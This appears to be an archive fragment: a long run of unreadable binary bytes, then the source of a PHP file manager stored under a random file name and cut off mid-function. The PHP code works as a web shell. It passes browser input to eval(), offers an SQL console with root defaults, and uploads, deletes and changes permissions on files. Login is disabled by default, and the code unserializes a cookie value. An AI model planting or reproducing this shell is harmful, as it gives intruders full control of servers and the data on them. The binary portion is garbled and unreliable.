�W����/��M����T�=�O��E3����9�	2����x��н^��F�0�eO�1ښ�א��v'y)5*�{3��q���J�t9'���g�7�d�e�Tw�ܲH@��2_���"��̓�O�F�z��W>�k△��?@��z��au�Mk��]�&3���,xg��K���ؚٗ}��3ƝH螜3=Ô�MC�\�-i�=O><�Za�&�z���{ݔ�����S��i[5j��4X�b�/M�酨�Q#�y�k��t�1�m�ʬ�8�N�HyEq�7Qoj��삌%�득q�|b�@��r�7j���X�)��R��ո��n.!�q�2�����b! �k�D���.'�9�F��a8F��o����[T�,v ��}��[�'�N�5R��h�~�n�K��%==���}㋎��>
�sS�ֳ��nˈ�[2����a�Qh���wl�Q�����|�ro��7F_ĦH�uwo�����,L��׺�5�)�����ՠ5V�_5�K�yL%$�cH���?���uth�Bp[{�6۽(;��#o��S���Z�8�h�y�����M�����g��Z�z!4�Ǫ�&��8R��G���羶M�tC\���"�v�}N ����#K_>���v�7c��W⌏
�O�v�V֦��tJ�=0��q�Ӯ;��s�#=�UW͐ݓK���3:����
�`���#wڬG��$�#��~`{����/��%����ᬙ��\t�}B�!�j���|$$inҐN�[����n�++.�
�
�%榉�.Z�4�M~B�a�� ȗ�� k�|��4^�kF�_�b��`@�)�>�k�q�ԝ��<��	S�	�x$�u}��C�Ԭuؾ�=��'"�f��$��I�c��\(9�܋v�����@�ğ �:b�J=�
t���u�c^%�w�aW�����x/�}/�k�g,�Ȋ.t�{ie�kV��0:	�a
�3�p�j��Q�zl�xKiT�V�L^�����7��-��)ݾ�1��YZa'�d�>�&}f��j�5�����qW�vJ��)��v�J尣[����Qzߏ����)F�V��6��3u���J������m��@��[H��wADK�[^Ի�W�lQR�54��B�Xv�O�%p�<�>)�{�t�|Y��ŽBZ�Je���ś�F?kCg��TRQd�Ԕo�>�K�gu/�{�Ct�e�����oV�+��a�~
��-q������k�h�ܝ��|��[MA�Y�����\^��S�5%����x�ޛM@b�?O���b���g�D^BO���؉�a��]b����Mn���o�С�lA�ǯHO�P �`���.��B��[oW�/��������Iq���>&�"F��x�U������������\u�5�u0�K��D?�o���:��ͬ��	vWT����<Z߫���l.�v\�����s�d\�}�g�V���؃������k��jrfgK9��\"uy�����ϥ��;��}�xt�	͡s�XO[U�f�� �X�bW��/�X�dg����y�MC�Q�f:y�W��0��xKk+xc'?����z�-��T��T_��Й�ߟ?����i񧭣y��^7�+w˭�{�P�J�n4%$�7�R���]��d��}[���e�$#iq�y+�l������uŇ���P"�	�ųr~��(��݃�[>m���Mp�l��c�K䤳w��b#��V���lr!�xb��{��BC���;O	=z��i=.�yg�cR�lqw*�Oa�
Ƃ����'L���Ѧ�s���ٸbKŘI٩]򠤹���^A�{��az0�1H�'��m�;t�f��Z��Lg�����Q��<<�u������T��?z���-;
A��b*	%�*D\�A�����n���$q��sv݁�#��f�R�C�?�J�kD#�MU>�?�|O6�R����/���%={sx�<W� ���;,¥�:&�$������~����v��Z�i1]t��=��?��̘6��4߅��}�h�Ŵ5�Ja��se�p��a^ʁ�]BE�ÆEA�C{i��U<��mC��#2ULו�)΢tdEIG�
����ͩ����N��m��6�ˮe�^�Ʊ��@�I�S�z�n`��SV{���b�Qa~����{jL@�5˿hg�~#��U�.?O���/-�U���M�M��8�z�A�D
5
��>E��r����g>�9���>�����h���3�%e7:{��֥�&��-��un�7�9�@����_~��m�����׻��)�;�_���q�$��A"`$
�X����Lxo�dk����Ŵ�I�7��i)
oj�ܯF 	�=��"]�����|�VB��T�0����,�P+�3Mwf�:�:�x�v}�h��O?�Dh%>�'��#�&x��7\�N�[�2������סeĞ\-\QC���Wip��]L1�h�)�^.�������>ͫQ,�%cd=>y��-'i!hȰ���������$���e��)G삭ܰ��4��lj	!��:�bb�a��!!Gs�k�=��%M�Ȭ�vV{D�j����#j�EZ�eF�{�2غv�;Qt��V���q����0�DM�ˢ�x��O�l�'
�g����Z
�E.��#�J�J��}�[�#jeQ��������6]15���'�MA��Z���>{׵��g7�8=u[�N�YV7�;�����斀��Ʉ�/��������ȰsV� ^���a`͠�k�Tmh�i��7=�Fr�f�lE=#��cfI��]D�̏瑺8�y���P��n:YS�v��"����(��j�\.��Lү�ĒzN���z��>"�2K�M��YN���~|�=���f�J�h&ٟ�E5��3nǵ�0�0��`Q����|��b�Y]�`h}!�yd�������x��۳7#��VO0�g��?R�P���@�p��Rh��T�.���c�,��>��/Y�E�B?䙖�?�S�k��T"���?Ca<WI��fJ4�}&(g�=���>�X��DQ~}f�AW*��}
��;q0q��Y��d�o�|�x�B��:l��	�(�����7b��|xq9	��.�@4���D��Rb�Q&M�Q��%,�1�v�;
�$ռL&��~~�i�>X��q����/��?m�b�ԋ]�2���&�٭�7��g��V�3���
��v�|���"q�p��+k�⚱�$�-�'/���P�X��
M}3|d��9��SZ4�soC�h#=M�(��V�c{�kG�Љ���!����_�}�i��w:O&�Ɍ��ȹFN��n��mO&�Hz�SS3�[N�ς
�'M�%}aM���5kMh�Q3�T-��o�����p�=�1���N�.r��D0����`�c��o@�X/$c�#߃��P�h��ٚ�a��G��N���+�h��<+'�ӈ�M듕mA�@�W����J���zJ;%�K�8&�{�GWI�c!�G$�ۈ�O��L���F���D�1}�&p���[�&${E��*����V9�7��$Q\�UMvNr�W*|1B�i)��?�mOA)�Í�z�oA �ކ��K����&p�7,��9���Z�f�g��n���N8@�Q���I���m���0�I�)�$��m��*��2�Kc8ٓ�c3���p$�F�7��O+�%��Rw_�ҿ}J�[e��-[��/_��ϢL�h��w�G͙=LV��A���8L�p�7�Y�J&-�'�d�����m�����TrxY�nbQ��6٤uHά�@B״
.wt�:m�|�8\�!�|�7�~�O%���sE�o��K���A�	�f�`�Ș�e�$��#t׶��q����9��꛺�e�7�::��bEw]�U��e���
��y
����D�ԧ���mDkt\K��<�%X���gX���O?���J^�za77!cX�2�1f��F-�c=^C�YnH�}�y�;�p�ݦH�
�,Kw��,��^�FC7l�0zzt��ʯ9"�#X���U
0��e�ꣲ���˦+e����\��_�EyI��*��<�5Nf�t�i�wG�����$氨~rV���C��8

c�A��+U�lj
%2O�v�mJT�Q�";�F�C�$�V)�3���ߌ�dQ�{�Fcn�����ײ�����ܢ��R�L�HL�����A�Z¥l�M��5�[r|�Y���tٚ�&!q�v���߹��z�<���o�lY��@4�Zv,t��Z�|Vouҷ���Z�V�܂����2��f��,c	�QW���ȞN��l��=v]��c�žq�G�I�8�K*b2�hP��EƁ\��{^H(X8dN��\��[����ֆ�{LC�a� �;�q� �n)>r�%�z�:1�fq簧�H/�I$�H~Q�;j��������;�l�����۰_�qQ~�t����{D7i#+��o*j=-�Q9C��a��	�h�/��w���i~���Ŕ�^i	T��8�lZ[Q�Moa`�T~%����&�y�������6�Сs�)��;l�kZ|���;�cm�ϟPG��ܫ��< ���\"TJS�oh�9˧����6���j�z�y�:k��O��X�e����T�ɚ[�!e�}���6�&4�~��Zذ,�ً�-�V{O��_��n��b	U�	2��
����!��k���ı|$d?xz<�P�1Np�P�2�bRⴃ�/ I�<\/D�V�n�o�V!j�,�g�&��o?eS��US�菊����{����K.�+��k�~�G`��"q�W=���w�m���s�N�P�mч�
���6L@��p����>-d�yPT5ӟ��(^�>�
�FgO���ɬ�u]�p�H���\�q��܄�_bIz?��&$��v=3��-���Ф��̗q3Gr�h�b�c�2ovg���O���>��Һ5Xʵ��}�4��W��N��MkK=N
I!������l/yǽ���5���]-
�H��ͥ>���UE�΃h^�~�7��N�+�~܈�忷�i7�LcW�=�H��;4�%q�ѣ�1�H�gC#�Q�%�N%v63�.f�C�\� �\_��W	Z$z��X�\$���sE����o�V�������(=6�]�EQow.tv�hW&t���垇<�r�n�	tN̷��r+��X}�-@���9�(݊�M�Ta�rm����au���k����7�kyR[Z�:��s
�#q�u	�z��q�T�x͐�����O�;;!�"��:����a.�7S<�M%�R���Jл�)Q�H�.��z:�Ϲr�I���l�Š2db��[C�tR�WO��ZH�
j��s�'�`4S��v�^�-;�Q1��y3)i��w�r�|z�hB&WɁY�Sn-x-*�j�%J�����|�5(
��B��Ԣ�<Z{Ͱ?�Pw�� ���	��(�{��ϺT1鿱V�z	@�j�~�CS_$��|��dJ���2��]��`�",�D%���R�<��y�<ݷ5Μ�l�/�C��|��8 
uҠe'��'�Z�xnLvc�@�w�zɷݎ{�"� -���j#�}���t��$wz�˅=�p�y�{
�*�s������Qu�΢�xk
6c?t蝜9l��a��b��U+��o��F�k��o|}Q�*�o�FCZV٫������hoc�(.Џ�DWM�HҾ_����8{�����\�GV�:�H�^�P%^�a�����\���̸��4���U)��Z���Ƿ{J:�wF��3V�{l��H�l��C��l�������"�>�,���P���O���x�֛��M�l9n6�ͷ��)��p�%�d������ژ$N���Ω5#�T�
�����
O�m�g�-C<�E��Ó��7]�nQ�w]�#��������)��1�"Џ+	a���"��#� ��2�5&�ؓ��R�"|L�ͮ|���X=E�� YC8_D)�*�+��G�"+��X]�ee��vQ�w�
lYJ��ܯ+�_*ۧ:�ɽ���Y���ל`����*ͮ덩�8v���8P���"�%�˞���h�3�l�t�\K9�h,��rTJ����m�Rq�� ���e�3_�7��r��$)�&r��H�����aޕ�XY�f�쐶۱ލ��ɯc�fטu7�th	��or��Ă�{���ً��x(�\ذjsH�!x�3&F�C1���.���y����)�)����pv�[�Jf�E�{߅S��=�(���ЊA��"�D}���7����8�,�0�ZrN
ʼny������&����9�$������?�y�Tf�[vɇ���D7�!R�[+*�;{H�	n�?�>4�/
��Τ��<�/���~�]�H�ت�b�������c#G�3�i�����V�c�%t��]<�H��t�r-��oR8~�9�L�u���;Zv�!��}�и:�ϖoTi�PQ��Sfm���*����dK�,Y2�uLI<��]k;���k����h���z��|�3��MDV�ZA�J��.y�4�ԛQ������ͶL-	�Z�Ď�}��}�����k.C'���w�>EDF��@����0�q�n�a�˸��d&C�r&��`��-LjXN�%k��-[�ח"Ԅ�xgH���]����#G�07�1�Y:��x����deUկY�I������Ā{-F�6���2�oAL��(L
��\׿d���g�d̡��yj)dtj�ӂV�i���w�((�:�qD��C(^��|L̫*�$���.�SB]0��D��?��H�G��e���[�B��;1�7N����Nm�gL~�w���,+�3_����ހ~H�8k����Z�G���''�ܡ��9p�7i}��m���yi�Z�Zy��͢<��&=‹y.�Z��?��3K��u��`��f������9ɩj}L�"�QM�S�hRxt��}a"!Y).H�N���t;s�J�H��O�2	D�G���MIr�&F_�� b�l)o�*�q���j&FX�\�|5pPB�I/���ԭR�����O�����>�'�Ӝ���d��E�>���	�Z"�٢-R��)�"����S�O�uj�m��c���~�����B+q��X��^*�����KZ�����E�š<2G�eB')�D��Y��?,�<�3�d���
���m�M�q��M�7a>%�!׃A���E�b�\2浦"-s5I�A�ڴk�Ǐ_x��\�N6�wT%G�S�|���JQ�)w�U�V�r�U�)�L?Y�_?����e���	_����
�]{_�W�n���E�fԸ߃[��<�z�k�P�s�������P�鬿֑ݯ������֓SM��V���m���/��9T���<��l]%�Y��U�{27Ygw���\8D�Sq�a��.���|򗯟v�����>�������64�������O4ʮ�T�W<�*�ѿ��-~����.BO��r�΋��I���^Z_�NV�O��Ll�_wI,�r<3����8��qd�@��]��p/���v���Fa]�fk��)m�����L#��K��}�:���~��5B?)�~�.
��GLbO>dZm)�w���&�6F
�˓�s��{�]h\_�֓VP'���X/�v~���Iu��05���VkB{�`�tZ��y;�|�q��r�R���s�D$��M�6��F>t�)=�:Ӽ2�ӡ��G��_�NO<Oi��opB�������_����߯���=��w8zplf/1o045.php000064400000232666000000000000007237 0ustar00<?php
/* PHP File manager ver 1.4 */

// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
